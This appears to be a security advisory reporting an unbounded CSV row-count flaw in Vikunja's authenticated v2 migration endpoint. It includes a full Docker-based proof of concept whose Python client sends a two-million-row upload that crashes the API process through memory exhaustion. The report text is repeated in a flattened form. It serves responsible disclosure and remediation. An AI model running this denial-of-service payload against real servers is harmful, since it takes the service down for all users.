Unbounded CSV row cardinality permits API process termination
Summary
The authenticated v2 CSV migration route caps upload bytes but not parsed row cardinality. It reads every record into a [][]string and then materializes a full task object for every row before insertion. Two million one-cell rows fit in a roughly 4 MB multipart request yet exhaust a 512 MiB API process.
Impact and affected scope
- Type: Resource Exhaustion Csv Import
- Affected component: POST /api/v2/migration/csv/migrate
- Preconditions: An ordinary authenticated user supplies a multipart CSV containing a very large number of tiny records plus a valid mapping configuration.
- Verified revision:
349cd5adbcc831ef08b08e6c9c6d627603c39606 on 28 August 2026
- Affected release range:
= 2.5.0; broader historical range not established and maintainer confirmation requested
A low-privileged remote user can terminate the API process and deny service to all users with a request far below the configured upload-byte limit.
Technical details
csv.Reader.ReadAll retains every row, after which convertToVikunja allocates a task structure for each row; the existing upload-byte cap does not constrain this cardinality amplification.
Attack path: Authenticate, upload two million one-cell records to the synchronous CSV migrate route with a valid ignore mapping, and exhaust process memory while parsing and materializing rows.
Relevant code:
pkg/routes/api/v2/migration_csv.go:96
pkg/routes/api/v2/migration_csv.go:164
pkg/modules/migration/csv/csv.go:281
pkg/modules/migration/csv/csv.go:298
pkg/modules/migration/csv/csv.go:590
pkg/modules/migration/csv/csv.go:605
pkg/modules/migration/csv/csv.go:627
pkg/modules/migration/csv/csv.go:643
pkg/modules/migration/csv/csv.go:655
Reproduction
Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.
Create reproduction/Dockerfile:
FROM golang:1.27.0-alpine
RUN apk add --no-cache bash build-base ca-certificates python3 tzdata
WORKDIR /app
COPY . /app
RUN chmod +x /app/*.sh 2>/dev/null || true
# Target source is supplied only at runtime through /target-repo:ro.
# This image contains build dependencies and reproduction helpers, not a clone.
Create reproduction/client.py:
#!/usr/bin/env python3
import json
import sys
import time
import urllib.error
import urllib.request
import uuid
BASE = "http://target:3456"
def json_request(method, path, body=None, token=None, expected=None):
raw = None if body is None else json.dumps(body).encode()
headers = {"Accept": "application/json"}
if body is not None:
headers["Content-Type"] = "application/json"
if token:
headers["Authorization"] = "Bearer " + token
req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method)
try:
with urllib.request.urlopen(req, timeout=30) as response:
status, data = response.status, response.read()
except urllib.error.HTTPError as exc:
status, data = exc.code, exc.read()
print(f"{method} {path} -> {status} {data[:250].decode(errors='replace')}", flush=True)
if expected is not None and status != expected:
raise RuntimeError(f"{method} {path}: got {status}, expected {expected}")
return status, json.loads(data.decode()) if data else {}
def wait_ready():
for _ in range(240):
try:
if json_request("GET", "/api/v1/info")[0] == 200:
return
except Exception:
pass
time.sleep(0.25)
raise RuntimeError("target did not become ready")
def register_and_login(username):
password = "PoC-password-123!"
json_request("POST", "/api/v2/register", {
"username": username,
"email": username + "@example.invalid",
"password": password,
}, expected=201)
_, login = json_request("POST", "/api/v2/login", {"username": username, "password": password}, expected=200)
return login["token"]
def migrate(token, csv_data, config, expect_response):
boundary = "----PoC-" + uuid.uuid4().hex
body = (
f"--{boundary}\r\nContent-Disposition: form-data; name=\"config\"\r\n\r\n{config}\r\n".encode()
+ f"--{boundary}\r\nContent-Disposition: form-data; name=\"import\"; filename=\"fixture.csv\"\r\nContent-Type: text/csv\r\n\r\n".encode()
+ csv_data
+ f"\r\n--{boundary}--\r\n".encode()
)
print(f"PoC_CSV_REQUEST rows={csv_data.count(bytes([10]))} request_bytes={len(body)}", flush=True)
req = urllib.request.Request(
BASE + "/api/v2/migration/csv/migrate",
data=body,
headers={"Authorization": "Bearer " + token, "Content-Type": "multipart/form-data; boundary=" + boundary},
method="POST",
)
try:
with urllib.request.urlopen(req, timeout=90) as response:
status, data = response.status, response.read()
print(f"POST migrate -> {status} {data[:200]!r}", flush=True)
if expect_response and status != 200:
raise RuntimeError(f"control returned {status}, expected 200")
if not expect_response:
raise RuntimeError(f"attack unexpectedly returned HTTP {status}")
except urllib.error.HTTPError as exc:
data = exc.read()
print(f"POST migrate -> HTTP {exc.code} {data[:200]!r}", flush=True)
if expect_response:
raise
raise RuntimeError(f"attack was rejected with HTTP {exc.code}; process did not terminate")
except (TimeoutError, ConnectionError, urllib.error.URLError, OSError) as exc:
if expect_response:
raise
print(f"PoC_CSV_ATTACK_DISCONNECTED error={type(exc).__name__}", flush=True)
def main():
wait_ready()
control_token = register_and_login("PoC-csv-control")
control_config = json.dumps({"delimiter": ",", "mapping": [{"column_index": 0, "attribute": "title"}]})
migrate(control_token, b"Title\ncontrol task\n", control_config, True)
json_request("GET", "/api/v1/info", expected=200)
print("PoC_CSV_CONTROL=PASS", flush=True)
attack_token = register_and_login("PoC-csv-attack")
attack_config = json.dumps({"delimiter": ",", "mapping": [{"column_index": 0, "attribute": "ignore"}]})
migrate(attack_token, b"x\n" * 2_000_000, attack_config, False)
print("PoC_CSV_ATTACK_SENT rows=2000000", flush=True)
if __name__ == "__main__":
try:
main()
except Exception as exc:
print(f"PoC_CSV_CLIENT=FAIL {exc}", file=sys.stderr, flush=True)
raise
Create reproduction/prepare.sh:
#!/usr/bin/env bash
set -euo pipefail
mkdir -p /work/repo
cp -a /target-repo/. /work/repo/
mkdir -p /work/repo/frontend/dist
cp /app/frontend-placeholder.html /work/repo/frontend/dist/index.html
cd /work/repo
CGO_ENABLED=1 go build \
-tags osusergo \
-ldflags '-s -w -X code.vikunja.io/api/pkg/version.Version=PoC-reproduction' \
-o /output/vikunja .
chmod 0755 /output/vikunja
if [[ -f /app/probe.go ]]; then
go build -o /output/probe /app/probe.go
chmod 0755 /output/probe
fi
Create reproduction/run.sh:
#!/usr/bin/env bash
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
FINDING_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"
SESSION_DIR="$(cd "${FINDING_DIR}/.." && pwd)"
CASE_ID="$(basename "${SESSION_DIR}")"
FINDING_NAME="$(basename "${FINDING_DIR}")"
IMAGE_TAG="PoC-${CASE_ID}-${FINDING_NAME}"
TARGET_REPO_URL="https://github.com/go-vikunja/vikunja.git"
TARGET_REF="349cd5adbcc831ef08b08e6c9c6d627603c39606"
WORKDIR="$(mktemp -d "${SESSION_DIR}/.PoC-reproduction.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
BUILD_DIR="${WORKDIR}/build"
DATA_DIR="${WORKDIR}/data"
NETWORK="${IMAGE_TAG}-net-$$"
TARGET_CONTAINER="${IMAGE_TAG}-target-$$"
cleanup() {
docker rm -f "${TARGET_CONTAINER}" >/dev/null 2>&1 || true
docker network rm "${NETWORK}" >/dev/null 2>&1 || true
rm -rf "${WORKDIR}"
}
trap cleanup EXIT
mkdir -p "${BUILD_DIR}" "${DATA_DIR}/files"
chmod 0777 "${BUILD_DIR}" "${DATA_DIR}" "${DATA_DIR}/files"
echo "[PoC] cloning and pinning target ${TARGET_REF}"
git clone --filter=blob:none --no-checkout "${TARGET_REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --detach "${TARGET_REF}"
echo "[PoC] building helper image ${IMAGE_TAG}"
docker build -t "${IMAGE_TAG}" "${SCRIPT_DIR}"
docker run --rm -v "${TARGET_REPO_DIR}:/target-repo:ro" -v "${BUILD_DIR}:/output" "${IMAGE_TAG}" /app/prepare.sh
docker network create "${NETWORK}" >/dev/null
docker run --detach --name "${TARGET_CONTAINER}" \
--network "${NETWORK}" --network-alias target \
--memory 512m --memory-swap 512m --pids-limit 256 \
-v "${BUILD_DIR}/vikunja:/app/vikunja:ro" --tmpfs /data:rw,exec,mode=1777 \
-e VIKUNJA_SERVICE_INTERFACE=:3456 -e VIKUNJA_SERVICE_PUBLICURL=http://target:3456/ \
-e VIKUNJA_SERVICE_ROOTPATH=/data -e VIKUNJA_SERVICE_JWTSECRET=PoC-reproduction-secret \
-e VIKUNJA_SERVICE_ENABLEREGISTRATION=true -e VIKUNJA_DATABASE_TYPE=sqlite \
-e VIKUNJA_DATABASE_PATH=/data/vikunja.db -e VIKUNJA_FILES_BASEPATH=/data/files \
-e VIKUNJA_MAILER_ENABLED=false -e VIKUNJA_REDIS_ENABLED=false -e VIKUNJA_LOG_HTTP=off \
-e VIKUNJA_RATELIMIT_NOAUTHLIMIT=1000 \
"${IMAGE_TAG}" /app/vikunja web >/dev/null
set +e
OUTPUT="$(docker run --rm --network "${NETWORK}" "${IMAGE_TAG}" python3 /app/client.py 2>&1)"
CLIENT_STATUS=$?
set -e
printf '%s\n' "${OUTPUT}"
for _ in $(seq 1 80); do
STATE="$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' "${TARGET_CONTAINER}")"
[[ "${STATE}" != "false 0 true" ]] && break
sleep 0.25
done
STATE="$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' "${TARGET_CONTAINER}")"
echo "PoC_CSV_CONTAINER state=${STATE} client_status=${CLIENT_STATUS}"
if ! grep -q 'PoC_CSV_CONTROL=PASS' <<<"${OUTPUT}" || ! grep -q 'PoC_CSV_ATTACK_SENT rows=2000000' <<<"${OUTPUT}" || [[ "${STATE}" != "true 137 false" ]]; then
echo "[PoC] FAIL: CSV cardinality payload did not produce the expected cgroup OOM termination" >&2
exit 1
fi
echo "PoC_CSV_CARDINALITY=PASS rows=2000000 request_bytes_under_5MiB OOMKilled=true ExitCode=137"
echo "[PoC] SUCCESS: a low-privileged CSV import terminated a 512 MiB API process"
Create reproduction/frontend-placeholder.html:
<!doctype html><title>PoC backend reproduction placeholder</title>
From the directory containing these files, run:
chmod +x reproduction/run.sh reproduction/*.sh 2>/dev/null || true
./reproduction/run.sh
Expected: A low-privileged CSV migration request terminates the API process through parsed-row and task-materialization amplification.
Observed: The normal import control returned HTTP 200. The 4,000,371-byte, two-million-row attack request disconnected, and Docker recorded OOMKilled=true, ExitCode=137. The run emitted PoC_CSV_CARDINALITY=PASS.
Verification and controls: The client uses independent ordinary users for the success control and attack, sends the real multipart migration format, and the host script requires the control marker, attack marker, and Docker OOMKilled=true with ExitCode=137.
Observed evidence:
- Normal CSV migrate control: HTTP 200
- Attack: rows=2000000, request_bytes=4000371, RemoteDisconnected
- target container: OOMKilled=true, ExitCode=137
- PoC_CSV_CARDINALITY=PASS
Suggested remediation
Enforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles.
Severity
CVSS v4.0: 7.1 (High) — Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
This assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026.
Disclosure context and attribution
AI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment.
Reported by the University of Sydney security research team:
We are happy to answer questions, provide additional verification details, or validate a candidate patch.
Unbounded CSV row cardinality permits API process termination
Summary
The authenticated v2 CSV migration route caps upload bytes but not parsed row cardinality. It reads every record into a [][]string and then materializes a full task object for every row before insertion. Two million one-cell rows fit in a roughly 4 MB multipart request yet exhaust a 512 MiB API process.
Impact and affected scope
349cd5adbcc831ef08b08e6c9c6d627603c39606on 28 August 2026= 2.5.0; broader historical range not established and maintainer confirmation requestedA low-privileged remote user can terminate the API process and deny service to all users with a request far below the configured upload-byte limit.
Technical details
csv.Reader.ReadAll retains every row, after which convertToVikunja allocates a task structure for each row; the existing upload-byte cap does not constrain this cardinality amplification.
Attack path: Authenticate, upload two million one-cell records to the synchronous CSV migrate route with a valid ignore mapping, and exhaust process memory while parsing and materializing rows.
Relevant code:
pkg/routes/api/v2/migration_csv.go:96pkg/routes/api/v2/migration_csv.go:164pkg/modules/migration/csv/csv.go:281pkg/modules/migration/csv/csv.go:298pkg/modules/migration/csv/csv.go:590pkg/modules/migration/csv/csv.go:605pkg/modules/migration/csv/csv.go:627pkg/modules/migration/csv/csv.go:643pkg/modules/migration/csv/csv.go:655Reproduction
Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.
Create
reproduction/Dockerfile:Create
reproduction/client.py:Create
reproduction/prepare.sh:Create
reproduction/run.sh:Create
reproduction/frontend-placeholder.html:From the directory containing these files, run:
Expected: A low-privileged CSV migration request terminates the API process through parsed-row and task-materialization amplification.
Observed: The normal import control returned HTTP 200. The 4,000,371-byte, two-million-row attack request disconnected, and Docker recorded OOMKilled=true, ExitCode=137. The run emitted PoC_CSV_CARDINALITY=PASS.
Verification and controls: The client uses independent ordinary users for the success control and attack, sends the real multipart migration format, and the host script requires the control marker, attack marker, and Docker OOMKilled=true with ExitCode=137.
Observed evidence:
Suggested remediation
Enforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles.
Severity
CVSS v4.0: 7.1 (High) — Vector:
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:NThis assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026.
Disclosure context and attribution
AI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment.
Reported by the University of Sydney security research team:
We are happy to answer questions, provide additional verification details, or validate a candidate patch.